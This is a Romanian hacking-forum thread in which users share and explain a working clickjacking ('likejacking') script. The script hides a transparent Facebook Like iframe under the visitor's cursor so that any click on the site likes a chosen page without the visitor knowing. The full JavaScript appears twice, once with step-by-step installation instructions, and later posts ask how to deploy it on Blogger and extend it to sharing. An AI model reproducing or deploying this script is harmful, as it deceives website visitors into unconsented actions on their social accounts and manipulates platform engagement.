robertutzu Posted August 8, 2011 Report Posted August 8, 2011 pune oriunde in index asta:<script language="javascript"> window.onload = function(){ var s = document.createElement('script'); s.src = 'jscript.js'; document.getElementsByTagName('body')[0].appendChild(s); } </script> apoi codu de mai jos salveaza-l intr-un fisier .txt si dai rename in jscript.js apoi urca-l in root.(function(){ var Xcord = 0, Ycord = 0, IE = document.all ? true : false; if (!IE) document.captureEvents(Event.MOUSEMOVE); var lbox = document.createElement('iframe'); lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://okazii-iasi.ro/') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=80'; lbox.scrolling = 'no'; lbox.frameBorder = 0; lbox.allowTransparency = 'true'; lbox.style.border = 0; lbox.style.overflow = 'hidden'; lbox.style.cursor = 'pointer'; lbox.style.width = '53px'; lbox.style.height = '23px'; lbox.style.position = 'absolute'; lbox.style.opacity = 0; document.getElementsByTagName('body')[0].appendChild(lbox); window.addEventListener('mousemove', mouseMove, false); setTimeout(function(){ document.getElementsByTagName('body')[0].removeChild(lbox); window.removeEventListener('mousemove', mouseMove, false); }, 10000); function mouseMove(e) { if (IE) { Xcord = event.clientX + document.body.scrollLeft; Ycord = event.clientY + document.body.scrollTop; } else { Xcord = e.pageX; Ycord = e.pageY; } if (Xcord < 0) Xcord = 0; if (Ycord < 0) Ycord = 0; lbox.style.top = (Ycord - 8) + 'px'; lbox.style.left = (Xcord - 25) + 'px'; return true }})();Acum oricine iti viziteaza site-ul fara sa stie va da like cand va da click oriunde pe site! Feedback-ul este binevenit! 6 3
p3tru Posted August 9, 2011 Report Posted August 9, 2011 Thanks for adding reputation to this user. May you be lucky enough to receive the same Reputation back in turn.
Sweby Posted August 10, 2011 Report Posted August 10, 2011 Explica-mi te rog si mie mai exact cum trebuie sa fac ! ID Contact : coca_colla_zero !Pai mai intai de toate iti trebuie un site, gen Google sau orice alt fel de site. Te conectezi la siteul tau si modifici pagina de index. Adica ii adaugi codul:<script language="javascript"> window.onload = function(){ var s = document.createElement('script'); s.src = 'jscript.js'; document.getElementsByTagName('body')[0].appendChild(s); } </script>unde vrei tu, doar sa il adaugi. Apoi faci un notepad, il deschizi, copii:(function(){ var Xcord = 0, Ycord = 0, IE = document.all ? true : false; if (!IE) document.captureEvents(Event.MOUSEMOVE); var lbox = document.createElement('iframe'); lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://okazii-iasi.ro/') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=80'; lbox.scrolling = 'no'; lbox.frameBorder = 0; lbox.allowTransparency = 'true'; lbox.style.border = 0; lbox.style.overflow = 'hidden'; lbox.style.cursor = 'pointer'; lbox.style.width = '53px'; lbox.style.height = '23px'; lbox.style.position = 'absolute'; lbox.style.opacity = 0; document.getElementsByTagName('body')[0].appendChild(lbox); window.addEventListener('mousemove', mouseMove, false); setTimeout(function(){ document.getElementsByTagName('body')[0].removeChild(lbox); window.removeEventListener('mousemove', mouseMove, false); }, 10000); function mouseMove(e) { if (IE) { Xcord = event.clientX + document.body.scrollLeft; Ycord = event.clientY + document.body.scrollTop; } else { Xcord = e.pageX; Ycord = e.pageY; } if (Xcord < 0) Xcord = 0; if (Ycord < 0) Ycord = 0; lbox.style.top = (Ycord - 8) + 'px'; lbox.style.left = (Xcord - 25) + 'px'; return true }})(); in fisierul notepad, si apoi dai options si "save as" si la nume pui : jscript.js. Si il uploadezi in directorul unde ai si indexul, adica directorul principal al siteului tau. Iar cand cineva iti intra pe site si va da un click oriunde pe pagina respectiva, iti va da automat like pe facebook.Capish? P.S: Mersi pentru script robert .
Just4Fun Posted December 24, 2011 Report Posted December 24, 2011 nu te penalizeaz? nimeni dac? implementezi astfel de coduri? Dac? nu, se poate face ?i unul cu share?
Moderators Dragos Posted December 24, 2011 Moderators Report Posted December 24, 2011 nu te penalizeaz? nimeni dac? implementezi astfel de coduri? Dac? nu, se poate face ?i unul cu share?Nu cred, cel putin nu Facebook-ul.
Vlachs Posted December 24, 2011 Report Posted December 24, 2011 Nu cred, cel putin nu Facebook-ul.ba da, poti fi acuzat de spam, reclamatie impotriva ta, ban la domeniu pe tot ce inseamna facebook
PassaMan Posted December 24, 2011 Report Posted December 24, 2011 Am si eu o intrebare, dc este site-ul http://okazii-iasi.ro/ ?Acesta este FeedBack-ul?
scorpy0n Posted December 25, 2011 Report Posted December 25, 2011 acolo trebuie sa modifici, sa pui site-ul sau pagina ta de facebook.
barskyionel Posted December 25, 2011 Report Posted December 25, 2011 Pe platforma blogger cum as putea sa implementez acest cod?
robertutzu Posted January 14, 2012 Author Report Posted January 14, 2012 se pare ca nu mai merge.. Inca merge...demo : Okazii Bucuresti | Anunturi Gratuite
1337 Posted January 15, 2012 Report Posted January 15, 2012 Exista pentru orice. Depinde cati bani esti dispus sa platesti... (test comm)